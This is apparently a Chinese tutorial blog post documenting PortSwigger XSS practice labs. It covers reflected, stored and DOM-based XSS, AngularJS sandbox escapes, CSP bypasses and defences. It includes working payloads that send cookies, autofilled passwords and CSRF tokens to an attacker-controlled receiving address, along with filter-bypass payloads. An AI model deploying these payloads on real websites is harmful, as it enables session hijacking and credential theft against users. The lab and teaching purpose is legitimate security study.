梨子带你刷burpsuite靶场系列之客户端漏洞篇 - 跨站脚本(XSS)专题

阅读量    88592 | 评论 4

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

本系列介绍

PortSwigger是信息安全从业者必备工具burpsuite的发行商,作为网络空间安全的领导者,他们为信息安全初学者提供了一个在线的网络安全学院(也称练兵场),在讲解相关漏洞的同时还配套了相关的在线靶场供初学者练习,本系列旨在以梨子这个初学者视角出发对学习该学院内容及靶场练习进行全程记录并为其他初学者提供学习参考,希望能对初学者们有所帮助。

 

梨子有话说

梨子也算是Web安全初学者,所以本系列文章中难免出现各种各样的低级错误,还请各位见谅,梨子创作本系列文章的初衷是觉得现在大部分的材料对漏洞原理的讲解都是模棱两可的,很多初学者看了很久依然是一知半解的,故希望本系列能够帮助初学者快速地掌握漏洞原理。

 

客户端漏洞篇介绍

相对于服务器端漏洞篇,客户端漏洞篇会更加复杂,需要在我们之前学过的服务器篇的基础上去利用。

 

客户端漏洞篇 – 跨站脚本(XSS)专题

什么是跨站脚本(XSS)?

XSS全称是cross-site script,burp官方的解释是允许攻击者与应用程序进行交互。攻击者可以利用XSS伪装成受害者,从而利用受害者身份执行其身份下能够执行的任何操作,包括查看其权限下任何数据,所以XSS的危害还是可大可小的,主要取决于受害者的权限大小。

XSS是怎么攻击的?

XSS就是将恶意的JS脚本投放到受害者端,当受害者端触发到投放的恶意脚本后即会执行攻击者进行构造的操作,从而达到某种恶意目的。

XSS有哪些种类?

  • 反射型XSS,恶意脚本来源于HTTP请求中
  • 存储型XSS,恶意脚本来源于Web数据库
  • 基于DOM的XSS,仅存在于客户端的漏洞,即与服务器端无任何交互操作

反射型XSS

什么是反射型XSS?

反射型XSS就是应用程序接收到一个HTTP请求,然后以不安全的方式映射到响应中,例如某应用程序构造以参数值为索引的HTTP请求
https://insecure-website.com/search?term=gift
然后应用程序会将参数值拼接到响应中
<p>You searched for: gift</p>
现在还属于是正常的参数值,那么如果我们将参数值设置为这个呢
https://insecure-website.com/search?term=<script>/*+Bad+stuff+here...+*/</script>
映射到响应中就会变成这样
<p>You searched for: <script>/* Bad stuff here... */</script></p>
这条响应如果被受害者打开,在经过浏览器的解析后,遇到闭合的script标签,会将其中内容按照JS脚本来解析,这就使得攻击者达到了其目的,执行了恶意的JS脚本。

配套靶场:没有编码操作的HTML上下文中的反射型XSS

首先我们看到一个搜索框

我们输入一个1,然后看看请求和响应是什么样子的

我们发现参数search的值会被映射到响应中,那么我们将其修改为XSS payload呢

我们惊奇地发现参数值被完完整整地映射到响应中,没有经过任何编码处理,如果是在浏览器打开这个响应就可以看到因触发XSS执行了其中的alert函数造成的弹窗

这就表明是存在XSS漏洞的

反射型XSS的影响

在了解到了反射型XSS的触发原理后,我们来介绍一下反射型XSS能干些什么

  • 执行受害者权限下能执行的任何操作
  • 查看受害者权限下能查看的任何数据
  • 修改受害者权限下能修改的任何信息
  • 以受害者身份与其他用户进行交互

攻击者只需要诱使受害者点击附有反射型XSS payload的链接即会触发

如何探测和测试反射型XSS漏洞?

  • 测试每一个入口点
  • 设置参数值为随机字母数字
  • 观察参数值映射到响应中的上下文
  • 测试多个payload
  • 在不同浏览器中测试payload能否生效

反射型XSS和self XSS有什么区别?

攻击者可以通过诱使用户点击链接触发反射型XSS,但是self XSS,顾名思义,只能由受害者自己输入XSS payload才会触发,所以一般self XSS危害并不大。

存储型XSS

什么是存储型XSS?

存储型XSS就是应用程序从Web数据库获取数据后以不安全的形式映射到响应中,又称持久性XSS或二阶XSS。比如在某个提交评论的功能点提交评论,请求包是这样的

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Length: 100

postId=3&comment=This+post+was+extremely+helpful.&name=Carlos+Montoya&email=carlos%40normal-user.net

从上面来看,我们提交了这样一条评论:This post was extremely helpful.,因为是评论,所以所有用户都是能接收到这条响应的
<p>This post was extremely helpful.</p>
那么如果我们提交一个附有XSS payload的评论呢,用户接收到的响应是这样的
<p><script>/* Bad stuff here... */</script></p>
这就导致接收到的用户都会触发XSS,影响范围比反射型要广很多

配套靶场:没有编码操作的HTML上下文中的存储型XSS

与上一道靶场一样,这里也是对接收的数据没有任何编码操作的,所以我们直接在评论功能点构造payload

提交这条附有payload的评论以后,能看到这条评论的人都能触发

存储型XSS的影响

因为都是XSS,所以存储型XSS的影响与反射型相同。不同的是存储型XSS不需要像发动反射型XSS一样要诱使受害者点击链接,只需要等待受害者进入有存储XSS payload的页面即可,而且因为只要进入该页面的人都会触发,所以存储型XSS的危害范围是比较广的。

如何探测和测试存储型XSS漏洞?

要探测存储型XSS漏洞需要测试所有的有数据存取操作的入口点,包括

  • URL查询字符串和消息正文中的参数或其他数据
  • URL文件路径
  • 与反射 XSS 相关的可能无法利用的 HTTP 请求标头
  • 任何可以向应用程序发送数据的带外路由

存储型XSS和反射型XSS有什么区别?

虽然两种XSS都会将接收的数据映射到响应中,但是入口点不同,存储型的入口点是数据库,反射型的入口点是HTTP请求

基于DOM的XSS

什么是基于DOM的XSS?

我们在这里先介绍有关基于DOM的XSS的一些概念,后面会有专题专门讲DOM相关的漏洞,DOM有一个source和sink,可以理解为DOM操作函数的入口点和出口点,基于DOM的XSS就是因为将入口点的输入传递给出口点的时候被出口点函数执行导致的XSS。常见的source就是URL了,搭配window.location对象访问操作sink触发。对于source和sink的攻击,梨子计划在后面的专题中细讲。这里仅讲解XSS相关的。

如何测试基于DOM的XSS?

有两种测试方法,分别为

  • 测试HTML sink
  • 测试JS执行 sink

测试HTML sink

测试HTML sink需要攻击者在sink处(如location.search)填充随机字母数字,然后观察其在HTML页面中的位置。然后观察其上下文,再不断调整payload以观察是否能够将内容从当前标签中脱离出来。

测试JS执行sink

测试JS执行sink比测试HTML sink困难一点,因为可能sink的输入不会显示在页面中,这就需要在sink出下断点进行调试,跟踪变量值的变化,可能sink的输入会赋给其他变量,剩下的操作与上面相同,依然是不断调整输入以触发XSS。

通过不同的source和sink利用基于DOM的XSS

能否成功利用基于DOM的XSS还是要看source和sink是否搭配,这是一个组合的问题,后面burp也给出了他们经过测试的一些source和sink的组合。
这里以document.write这个sink为例进行介绍。有的情况是我们写入sink的内容需要先闭合掉前面的元素然后再写我们的payload。
而对于innerHTML这个sink,它不接收script、使用onload事件的svg,所以我们可以用使用onload或onerror事件的img或iframe代替。
如果应用程序使用了js库(如jQuery),就可以寻找一些可以更改DOM元素的函数,如jQuery中的attr()函数,例如

$(function(){
$('#backLink').attr("href",(new URLSearchParams(window.location.search)).get('returnUrl'));
});

上面可以实现更改锚点(#backLink)的属性href的值为参数returnUrl的值,所以我们可以这样构造payload
?returnUrl=javascript:alert(document.domain)
如果使用的是像AngularJS这种框架,就可以在没有尖括号和事件的情况下执行JS。当HTML元素使用ng-app属性时,就会被AngularJS处理,就可以在双花括号内执行JS并且回显在HTML页面或属性中。
下面我们通过5个靶场来深入理解

配套靶场1:使用location.search source和document.write sink的DOM XSS

打开页面,f12,发现了这样的代码

从图中看,query的值是从URL参数search中获取并且会不经任何处理就拼接到img标签中,这就需要先提前闭合img标签然后再跟着payload,最后的效果是这样的

这样就会触发XSS了

配套靶场2:在select元素内使用location.search source和document.write sink的DOM XSS

我们同样是可以看到这样一段代码

这段代码先会获取URL参数storeId的值然后如果可以获取到值就将其套在option元素中写入到页面中,所以我们可以附加这么一个参数,并将其值设置为XSS payload
</select><img%20src=1%20onerror=alert(1)>
经过这段代码处理后是这样的

这样就会成功触发弹窗了

配套靶场3:使用location.search source和innerHTML sink的DOM XSS

同样的,还是看段代码

这里是写入到innerHTML,所以script和svg都无法使用了,所以我们将payload写入URL参数search

这样就可以成功触发XSS了

配套靶场4:使用location.search source和jQuery锚点属性sink的DOM XSS

我们在页面中找到了之前提到过的类似的代码

因为修改的是href属性,所以我们可以使用JS伪协议执行XSS payload

这样就又能触发XSS了

配套靶场5:带有HTML编码的尖括号和双引号的AngularJS表达式的DOM XSS

因为应用程序会对尖括号和双引号进行HTML编码处理,所以使用这两种符号的payload都不会生效,但是因为使用的是AngularJS框架,所以我们可以利用双花括号构造payload
{{$on.constructor('alert(1)')()}}
这样就又可以触发XSS了

结合反射型和存储数据的DOM XSS

前面介绍的DOM XSS,source都是从客户端输入的,如果source是HTTP请求或者数据库呢?这就将其提升为反射型DOM XSS和存储型DOM XSS,下面我们通过两个靶场来深入理解一下

配套靶场1:反射型DOM XSS

我们先随便输入点什么,然后搜索,发现代码中出现了一个一开始没见过的js文件

打开这个js文件,有点长,我们一点点来分析,首先看这一段

这一段会发送一个搜索操作的GET请求,并且利用函数displaySearchResults展示搜索结果,下面我们再来分析一下这个函数

我们看到这个函数会将变量searchTerm拼接到一个h1元素中,但是因为是innerText,所以肯定会有些字符被转义,我们需要一点点调试

我们可以看到搜索字符串的值会被赋给searchTerm参数,我们看一下尖括号和双引号会被怎么处理

我们看到双引号会被转义,而尖括号不会,我们看看怎么能避免被转义

发现添加一个右斜杠就可以抵消转义,成功触发XSS

配套靶场2:存储型DOM XSS

同样的,我们发现了这样一个文件

然后我们打开这个文件,文件的前面部分和上面的类似,我们重点分析后面的函数

我们看到虽然代码会对尖括号进行HTML编码,但是只进行一次这个操作,所以我们可以利用一对尖括号使用掉这个操作,保护后面的尖括号,所以我们在评论提交点这样构造payload

这样我们就又能成功触发XSS了

哪些sink可以用来触发DOM XSS漏洞呢?

burp总结了一些可以用来触发DOM XSS漏洞的sink

  • document.write()
  • document.writeln()
  • document.domain
  • element.innerHTML
  • element.outerHTML
  • element.insertAdjacentHTML
  • element.onevent

如果遇到使用jQuery的应用程序,还有一些扩展的sink

  • add()
  • after()
  • append()
  • animate()
  • insertAfter()
  • insertBefore()
  • before()
  • html()
  • prepend()
  • replaceAll()
  • replaceWith()
  • wrap()
  • wrapInner()
  • wrapAll()
  • has()
  • constructor()
  • init()
  • index()
  • jQuery.parseHTML()
  • $.parseHTML()

如何缓解DOM XSS漏洞?

因为上面讲了,存在很多可以触发DOM XSS的source和sink对,那我们缓解这种漏洞的措施就是尽量阻止任何不受信任的source和sink操作。

XSS可以用来做什么?

  • 冒用受害者身份
  • 执行受害者能够执行的任何操作
  • 访问受害者能访问的任何数据
  • 窃取用户登录凭证
  • 篡改网页内容
  • 向网页挂马

XSS漏洞的利用

利用XSS窃取cookie

有些应用程序仅使用cookie进行会话处理,所以我们可以利用XSS窃取受害者的cookie然后将其发到指定的地址,然后可以通过替换cookie的方式伪装成受害者进行操作,但是这种利用手段还是存在一些失败的可能性的

  • 受害者可能并未登录
  • 有些应用程序通过HttpOnly标志对JS隐藏cookie
  • 有些应用程序可能将会话与某些唯一标识信息(如IP)绑定
  • 会话可能已过期

配套靶场:利用XSS窃取cookie

我们先在burp collaborator复制一个临时的接收地址

然后我们在评论点构造payload,使用fetch函数发出POST请求,设置请求主体为当前用户的cookie,然后发送到临时的接收地址

<script>
    fetch(
        '[临时的接收地址]',{
            methoed:'POST',
            mode:'no-cors',
            body:document.cookie
        }
    );
</script>

接着我们看一下接收端

看到我们成功窃取到cookie,就可以替换现有的cookie伪装成受害者登录了

利用XSS窃取密码

很多浏览器都会有自动填写功能,我们可以利用这个特点窃取用户密码,下面我们直接通过一道靶场来深入理解

配套靶场:利用XSS窃取密码

因为要监控输入框的变化,所以我们引入了onchange事件,于是我们这样构造paylaod

<input name=username id=username>
<input type=password name=password
    onchange="
        if(this.value.length)
            fetch('[临时的接收地址]',{
                method:'POST',
                mode:'no-cors',
                body:username.value+':'+this.value
                }
            );
    "
>

然后我们查看一下接收端

看到我们成功地获取到了用户名和密码,就可以直接登录受害者用户,成功率会比窃取cookie高一些

利用XSS发动CSRF

burp将CSRF专题放在本专题后面,所以到后面再详细讲解CSRF,现在我们只讲解这种XSS利用手段,前面有介绍过,XSS可以用来执行受害者能执行的任何操作,包括发送好友请求、转移用户资产、修改身份信息等。这种借他人之手执行的操作就是CSRF,虽然有一些应用程序会通过引入防CSRF攻击令牌的方式进行缓解,但是如果可以利用XSS窃取到该令牌,则这种缓解措施也会随即失效,下面我们同样是通过一道靶场来深入理解。

配套靶场:利用XSS发动CSRF

首先我们利用提供的账号登录,然后找到修改邮箱的请求包,发现主体有两个参数email和csrf,所以我们需要构造payload获取csrf才能成功利用XSS发动CSRF,例如

<script>
    var req = new XMLHttpRequest();
    req.onload = handleResponse;
    req.open('get','/email',true);
    req.send();
    function handleResponse() {
        var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
        var changeReq = new XMLHttpRequest();
        changeReq.open('post', 'email/change-email', true);
        changeReq.send('csrf='+token+'&email=test@test.com')
    };
</script>

当用户触发了这个XSS的时候就会发动CSRF修改邮箱为指定邮箱了,因为这道靶场修改邮箱不需要验证任何东西

通过XSS上下文探测反射型和存储型XSS漏洞

为了探测反射型和存储型XSS漏洞,我们通常是在任何可以的入口点随便输入一个字符串,然后观察其反馈在响应中位置的上下文,基于不同情况的上下文可以选择不同种类的payload,这里burp提供了一个非常强大的XSS payload宝典。burp将上下文分为以下几种

  • 在HTML标签中的XSS
  • 在HTML标签属性中的XSS
  • JS中的XSS

下面我们从以上三个小节来分别介绍

在HTML标签中的XSS

这种上下文是最常见的,我们只需要引入一些可以执行JS的HTML标签即可,例如

<script>alert(document.domain)</script>
<img src=1 onerror=alert(1)>

下面我们通过几道靶场来深入理解

配套靶场1:大部分标签和属性被禁用的HTML上下文中的反射型XSS

因为题目说禁用了大部分的标签和属性,所以我们需要做一个fuzz测试,于是我们将搜索的包发到Intruder,设置变量位

然后我们到前面提到的XSS payload宝典复制标签列表

可以看到一共157个标签,开始fuzz

好家伙,只有一个标签是没有被禁用的,接着我们开始fuzz可用的属性

好,我们也是只的到一个可用的属性onresize,于是我们可以这样构造payload

经过两次fuzz测试成功构造可以触发XSS的payload

配套靶场2:除了自定义标签外的全部标签被禁用的HTML上下文中的反射型XSS

因为禁用了所有的标签,所以我们只能使用自定义标签了,于是我们这样构造payload

因为自定义标签是没有被禁用的,所以我们又可以成功触发XSS了

配套靶场3:事件处理器和属性href被禁用的反射型XSS

题目说题目设置了一些白名单标签,并且禁用了所有的事件和锚点href属性,所以我们还是要fuzz看一下有哪些白名单标签

虽然有很多个标签都在白名单中,但是查阅了XSS payload宝典以后发现只有一种payload可以使用

于是我们这样构造payload

然后点击”Click Me”触发XSS

配套靶场4:允许一些SVG标记的反射型XSS

同样的,因为不知道哪些标记允许,所以我们还是要fuzz一下

得知这些标签是允许的,然后再fuzz可用的事件

接下来就可以构造payload了

这样就可以触发XSS了

在HTML标签属性中的XSS

如果上下文在HTML标签属性中,我们可以通过提前闭合标签然后引入新标签的方式触发XSS。例如
"><script>alert(document.domain)</script>
如果尖括号被禁用或者编码处理,我们可以通过引入事件触发XSS。例如
" autofocus onfocus=alert(document.domain) x="
还有一些特殊情况,比如上下文在锚点href中,可以利用JS伪协议触发XSS。例如
<a href="javascript:alert(document.domain)">
还有一种方法是很特殊的,它不会自动触发,而是当监控到键入了某个键盘组合才会触发,所以更为隐蔽。下面我们通过几道靶场来深入理解上述情况

配套靶场1:尖括号被HTML编码的属性中的反射型XSS

因为尖括号会被HTML编码,所以我们在XSS payload宝典中查找适用于input标签的不需要尖括号就能触发XSS的payload

因为我们观察到输入内容会被自动包裹在一对双引号中,所以我们利用前后各一个双引号抵消掉它们

这样就可以成功触发XSS了

配套靶场2:双引号被HTML编码的锚点href属性中的存储型XSS

经过查找,发现评论提交点中会把网址一栏的内容套在href中,所以我们可以利用JS伪协议构造payload

这样就可以触发XSS了

配套靶场3:规范链接标签中的反射型XSS

题目提示这种攻击方法只能在chrome中生效,然后我们在XSS payload宝典中搜索关键词(canonical),找到这两条payload

所以我们这样构造payload

这里我们设置的快捷键为X键,但是不同操作系统的快捷键组合不太一样,例如

Windows: ALT+SHIFT+X
MacOS: CTRL+ALT+X
Linux: Alt+X

按下对应的快捷键以后就会触发XSS了

JS中的XSS

当上下文在JS中时,我们需要用不同的手段来触发XSS,有这样几种手段

  • 终止现存的脚本
  • 逃逸出JS字符串
  • 利用HTML编码
  • JS模板文字中的XSS

终止现存的脚本

和之前的手段类似,当上下文在script标签中时,我们需要先提前闭合掉script标签,然后再插入XSS payload。

配套靶场:单引号和反斜杠被转义的JS中的反射型XSS

我们先观察一下查询后的上下文

然后我们这样构造payload

经过这么一提前闭合,上下文的JS就失效了,然后我们插入的新的JS就可以触发XSS了

逃逸出JS字符串

如果上下文是单引号的情况下,可以利用一些手段逃逸出来直接执行JS,例如

'-alert(document.domain)-'
';alert(document.domain)//

有的应用程序会通过添加反斜杠的方式将其中的单引号转义,但是单引号并不会被转义,所以我们可以再添加一个反斜杠抵消掉它的转义作用,比如我们输入
';alert(document.domain)//
被系统转义后变成了
\';alert(document.domain)//
但是如果我们将输入改成
\';alert(document.domain)//
被系统处理以后就变成了
\\';alert(document.domain)//
再一次成功逃逸出来触发XSS


有的应用程序连括号都不让用,但是还是有办法绕过的,可以使用异常处理事件throw向onerror指定的函数传参以触发XSS,例如
onerror=alert;throw 1
下面我们通过几个靶场来深入理解上面这些手段

配套靶场1:尖括号被HTML编码的JS中的反射型XSS

因为尖括号被HTML编码,所以我们需要另辟蹊径,于是我们利用前面讲的利用减号和反斜杠进行逃逸

以上三种方法都可以成功触发XSS

配套靶场2:尖括号和双引号被HTML编码并且单引号被转义的JS中的反射型XSS

这一道靶场的防护手段还挺多的,但是我们讲过了,只有单引号被转义,所以我们还可以这样构造payload

这样就成功逃逸出来触发XSS了

配套靶场3:一些字符被禁用的JS URL中的反射型XSS

因为一些字符被禁用了,所以之前的手段全都失效了,这里官网提供了一款payload

我们先放到burp里解一下URL编码

这段payload比较复杂,我们一点点来讲解。它打算使用throw触发XSS,但是空格被禁止了,所以我们利用空白的注释来生成空格。然后又因为throw只有在代码块中才会被执行,所以我们需要创建一个箭头函数。为了能够调用它,我们需要制造一个强制转换字符串引发的报错,所以把箭头参数x再赋给window的toString。而且这段代码只有在返回到首页的时候才会触发。

利用HTML编码

前面我们遇到HTML编码的情况一般就是选择了放弃,但是还是有些特殊情况的,比如我们的输入会包裹在onclick事件中时,它会对HTML编码进行解码操作,从而触发XSS。下面我们通过一道靶场来深入理解

配套靶场:尖括号和双引号被HTML编码并且单引号和反斜杠被转义的onclick事件中的存储型XSS

好家伙,这回防护得太彻底了吧,但是我们发现网址一栏提交以后上下文被包裹在onclick事件中,所以我们可以利用其特性将HTML编码进行解码操作

提交以后观察一下效果

发现真的把之前遇到就会放弃的HTML编码解码了

JS模板文字中的XSS

JS模板文字就是可以在反引号包裹的字符串中嵌入JS表达式,其语法像这样
${...}
那么嵌入payload的JS模板文字就像这样
${alert(document.domain)}

配套靶场:尖括号,单双引号,反斜杠和反引号被Unicode转义的JS模板文字中的反射型XSS

这么多符号都被Unicode转义了,我们先观察一下上下文是什么样的

发现输入被包裹在反引号中,所以我们可以利用JS模板文字构造payload

这样就又可以触发XSS了

AngularJS沙箱

什么是AngularJS沙箱?

AngularJS沙箱是一种防护机制,可以防止在AngularJS模板表达式中访问不安全的对象,如document和window,还有不安全的属性,如__proto__。近些年无数安全研究者开始研究如何绕过AngularJS沙箱,虽然该功能在AngularJS 1.6中被删掉了,但是还有大量的应用程序正在使用旧版本的AngularJS。

AngularJS沙箱是如何运作的?

沙箱的工作原理就是解析表达式,然后重写JS,再使用各种函数测试重写后是否还包含不安全的对象,例如ensureSafeObject()函数会检查指定对象是否引用了自己,可以用来检测window对象,同样适用于检测Function构造器。
ensureSafeMemberName()函数会检查指定对象的所有属性,例如遇到__proto__ 或__lookupGetter__这类危险属性就会禁止该对象。ensureSafeFunction()函数可以禁止调用call()、apply()、bind()、constructor()函数。

AngularJS沙箱逃逸是怎么实现的?

沙箱逃逸就是诱使沙箱引擎将恶意表达式识别为无害的。比较常见的逃逸手段就是在表达式中全局使用魔改过的charAt()函数,例如
'a'.constructor.prototype.charAt=[].join
从上面来看,我们将charAt()函数重写成了[].join,即会返回所有输入的内容,而不是过滤后的。还有一个函数isIdent(),它可以将单个字符与多个字符相比,因为单个字符永远比多个字符少,所以可以导致它永远返回true。例如

isIdent= function(ch) {

return ('a' <= ch && ch <= 'z' ||

'A' <= ch && ch <= 'Z' ||

'_' === ch || ch === '$');

}

isIdent('x9=9a9l9e9r9t9(919)')

所以我们可以利用AngularJS的$eval()函数和魔改后的charAt()函数构造这样的payload以进行沙箱逃逸
$eval('x=alert(1)')

构造高级的AngularJS沙箱逃逸

有的站点可能防护做的更好,就需要构造高级的沙箱逃逸,比如如果禁用了单或双引号就需要用String.fromCharCode()来构造。而且我们还可以用orderBy过滤器来代替$eval()来执行XSS payload,语法像这样的
[123]|orderBy:'Some string'
在这里,这个符号(|)起到一个传递作用,把左边数组发到右边的过滤器的这么一个作用,冒号代表传递到过滤器的参数。这么讲可能不太直观,下面我们通过一道靶场来直观地讲解。

配套靶场:没有字符串的AngularJS沙箱逃逸中的反射型XSS

我们先确定一下查询字符串的上下文

前面提到了这里无法直接使用字符串和$eval(),所以我们需要结合上面介绍的沙箱逃逸手段来构造字符串。

这样我们就能成功实现沙箱逃逸并且触发XSS了

绕过AngularJS CSP是如何实现的?

CSP全称content security policy,译为内容安全策略,我们在下一个小节就会讲到了。绕过CSP的原理与沙箱逃逸类似,但是绕过CSP会涉及一些HTML注入。CSP开启时会用不同方式解析表达式并且避免使用Function构造函数。那么上面讲过的沙箱逃逸手段就失效了。
AngularJS定义了自己的事件以替代JS事件,在事件内部时,它定义了一个特殊的$event 对象,它只引用浏览器事件对象。可以用它来实现绕过CSP。在Chrome中,它有一个特殊的属性path,它包含了可以导致执行事件的对象数组。这个数组最后一个属性永远是window对象。我们可以将这个对象数组传递给过滤器,然后利用最后一个元素执行全局函数(如alert)。payload示例如下
<input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([1],alert)'">
这里的from函数可以将对象转换成数组,并将每个元素都调用给该函数第二个参数指定的函数。而且from函数还可以在沙箱中隐藏window对象以成功执行。

利用AngularJS沙箱逃逸绕过CSP

burp又加大了难度,限制了payload的长度,所以上述手段又失效了,我们需要换一种方法隐藏window对象。我们可以使用array.map()函数,payload示例如下
[1].map(alert)
map()函数会将数组中每个元素都调用给参数指定的函数。因为没有引用window对象,所以这种方法是可行的。

配套靶场:AngularJS沙箱逃逸和CSP中的反射型XSS

因为既要沙箱逃逸又要绕过CSP,所以我们采用复合型payload

我们把payload做个URL解码看得比较直观

我们看到了首先使用了$event对象的path对象绕过CSP,然后利用orderBy沙箱逃逸,成功触发XSS

如何缓解AngularJS注入攻击?

想要缓解AngularJS注入攻击,需要避免使用不安全的用户输入作为模板或表达式。

内容安全策略(Content security policy)

什么是CSP(Content security policy)?

CSP是一种浏览器安全机制,旨在缓解XSS攻击和一些其他攻击。它通过限制页面可以加载的资源以及限制页面是否可以被其他页面框架化的方式来进行防护。如果要启用CSP,需要在响应包头中加一个字段Content-Security-Policy,其中包括以分号间隔的指令。

使用CSP缓解XSS攻击

CSP通过这样的指令限制只能加载与页面本身相同来源的资源
script-src 'self'
通过下面的指令限制只能从指定域中加载资源
script-src https://scripts.normal-website.com
但是这种允许外部域的做法还是有风险的,如果攻击者可以向其传递恶意脚本也会遭到攻击的。而且应该也同时不信任来自CDN的资源,因为也有被投放的风险。CSP还通过随机数和哈希值来指定可信资源。

  • CSP的指令指定一个随机数,加载脚本的标签也必须有相同的随机数。否则就不执行该脚本。并秉持一次性的原则,避免被猜解。
  • CSP指令可以指定脚本内容的哈希值。不匹配也是不会执行的。

虽然CSP通常可以阻止脚本,但是经常不会禁止加载图片资源,这就导致可以利用img标签窃取CSRF令牌。有些浏览器比如chrome,就有内置的悬空标记缓解功能,这个功能可以阻止包含某些字符的请求,比如换行符、未编码的新一行符或者尖括号。还有一些策略更为严格,可以防止所有形式的外部请求。但是还是可以通过注入一个HTML元素,点击该元素就会将该元素包含的所有内容发送到外部服务器的方式绕过这种策略。下面我们通过几道靶场来深入理解。

配套靶场1:利用悬挂标记攻击的受保护的CSP中的反射型XSS

首先我们观察一下修改邮箱的表单要提交哪些信息

我们现在要做的就是利用悬挂标记攻击将CSRF Token窃取出来,所以我们这样构造payload

然后我们接收到这样的内容

这里简单介绍一下悬挂标记攻击,就是利用标签必须闭合的特性,使用未闭合的标签将后面的内容全都包裹起来发送到目标服务器的这么一种攻击手段。现在我们获取到了一个有效的csrf令牌,然后我们利用burp的Engagement tools -> Generate CSRF PoC功能生成CSRF页面,然后在Option中选中Include auto-submit script,重新生成一下,这样用户只需要点击链接就会自动发出请求。

这样,当受害者接收到以后就会自动修改邮箱了

配套靶场2:利用悬挂标记攻击的受非常严格保护的CSP中的反射型XSS

首先我们可以从响应包中看到当前CSP都开启了哪些策略

所以这里我们只能使用HTML注入了

又一次利用悬挂标记攻击窃取到CSRF令牌,然后用相同的办法触发CSRF

使用CSP缓解悬挂标记攻击

从上面来看,一般是采用img标签发动悬挂标记攻击,所以我们这样设置CSP策略

img-src 'self'
img-src https://images.normal-website.com

但是上述手段并不能阻止通过注入带有悬空href属性的锚点的方式发动的悬挂标记攻击。

通过策略注入绕过CSP

有些情况是我们可以注入一些我们自己的策略去覆盖原来的CSP策略指令。一般来讲是不可能覆盖掉指令script-src的,但是chrome引入了指令script-src-elem,可以控制脚本元素但不能控制事件。不过它可以覆盖掉指令script-src。

配套靶场:绕过受保护的CSP中的反射型XSS

我们先看一下CSP策略

发现最后一个指令report-uri是动态的,可以通过token值来添加新的CSP指令,所以我们这样构造payload

这样我们就又可以插入script,从而成功触发XSS了

使用CSP保护免受点击劫持攻击

点击劫持就是误导用户点击透明的按钮发出恶意请求,所以我们可以这样设置CSP策略

frame-ancestors 'self'
frame-ancestors 'none'
frame-ancestors 'self' https://normal-website.com https://*.robust-website.com

这种保护手段比X-Frame-Options要好,因为CSP会验证父框架下的每个子框架,而X-Frame-Options只验证顶级框架。不过也可以两者结合着用,因为IE不支持CSP。

悬挂标记注入

什么是悬挂标记注入?

悬挂标记注入是一种在无法进行完整XSS攻击的情况下捕获跨域数据的技术。我们来看这样一条代码
<input type="text" name="input" value="CONTROLLABLE DATA HERE
然后我们让这个标签提前闭合,然后后面跟上这样的语句
"><img src='//attacker-website.com?
我们看到这个img标签是没有闭合的,既然是没有闭合,它就会一直找下去,直到找到可以闭合的单引号为止,这样就会把后面的东西全都包裹到img标签中,然后因为src属性,会发出一个请求,而后面包裹进来的东西也会整体附在URL后面发出去,这样我们可能会得到很多我们想要的数据,比如CSRF Token之类的。

如何缓解XSS攻击?

将输出数据编码处理

在用户输入写入页面之前就应该执行编码操作,而且不同的上下文,编码方式不同,比如上下文为HTML时

< 编码成 &lt;
> 编码成 &gt;

上下文为JS时

< 编码成 \u003c
> 编码成 \u003e

有的时候还需要按顺序进行多层编码处理以防止出现像onclick事件的情况。

验证输入

因为我们永远不知道用户输入有多奇葩,所以我们需要尽量严格地验证输入,比如采取这样的措施

  • 如果响应会返回提交的URL,则验证是不是HTTP或HTTPS开头的
  • 如果预期输入是数字,则验证输入是否为整数
  • 验证输入中包含的字符是否均为允许的字符

白名单还是黑名单?

一般情况下都会选择白名单,因为如果使用黑名单的话,永远不知道有没有遗漏,俗话说,宁可错杀一千不放过一个嘛。

允许安全的HTML

应尽可能地限制使用HTML标记,应该过滤到有害的标签和JS,也可以引入一些执行过滤和编码的JS库,如DOMPurify。有些库还允许用户使用markdown来编写内容再渲染成HTML,但是这些库都不是绝对的安全,所以要及时更新。

如何使用模板引擎缓解XSS攻击?

有些网站使用Twig和Freemarker等服务器端模板引擎在HTML中嵌入动态内容,他们都有自己的过滤器,还有一些引擎,比如Jinja和React,它们默认情况下就会转义动态内容,一定程度上也会缓解XSS攻击。

如何在PHP中缓解XSS攻击?

可以利用内置的HTML编码函数htmlentities,它有三个参数分别为

  • 输入字符串
  • ENT_QUOTES,编码所有引号标志
  • 字符集,一般为UTF-8

用例如下
<?php echo htmlentities($input, ENT_QUOTES, 'UTF-8');?>
但是PHP没有内置的针对JS编码的Unicode函数,但是burp给出了一个示例

<?php

function jsEscape($str) {
  $output = '';
  $str = str_split($str);
  for($i=0;$i<count($str);$i++) {
   $chrNum = ord($str[$i]);
   $chr = $str[$i];
   if($chrNum === 226) {
     if(isset($str[$i+1]) && ord($str[$i+1]) === 128) {
       if(isset($str[$i+2]) && ord($str[$i+2]) === 168) {
         $output .= '\u2028';
         $i += 2;
         continue;
       }
       if(isset($str[$i+2]) && ord($str[$i+2]) === 169) {
         $output .= '\u2029';
         $i += 2;
         continue;
       }
     }
   }
   switch($chr) {
     case "'":
     case '"':
     case "\n";
     case "\r";
     case "&";
     case "\\";
     case "<":
     case ">":
       $output .= sprintf("\\u%04x", $chrNum);
     break;
     default:
       $output .= $str[$i];
     break;
    }
  }
  return $output;
}
?>

用例如下
<script>x = '<?php echo jsEscape($_GET['x'])?>';</script>
当然,也可以使用模板引擎。

如何在客户端缓解JS中的XSS攻击?

JS既没有内置的HTML编码函数也没有内置的Unicode编码函数,但是burp依然给出了示例,首先是HTML编码函数

function htmlEncode(str){
  return String(str).replace(/[^\w. ]/gi, function(c){
     return '&#'+c.charCodeAt(0)+';';
  });
}

用例如下
<script>document.body.innerHTML = htmlEncode(untrustedValue)</script>
然后是Unicode编码函数

function jsEscape(str){
  return String(str).replace(/[^\w. ]/gi, function(c){
     return '\\u'+('0000'+c.charCodeAt(0).toString(16)).slice(-4);
  });

}

用例如下
<script>document.write('<script>x="'+jsEscape(untrustedValue)+'";<\/script>')</script>

如何在jQuery中缓解XSS攻击?

jQuery通常因为使用location.hash处理输入然后传递给选择器而导致XSS。后面官方通过验证开头是否为哈希值的方式修复了这个漏洞。现在jQuery只会在第一个字符为<时才会渲染HTML。不过还是建议使用jsEscape函数转义输入后再进行下一步操作。

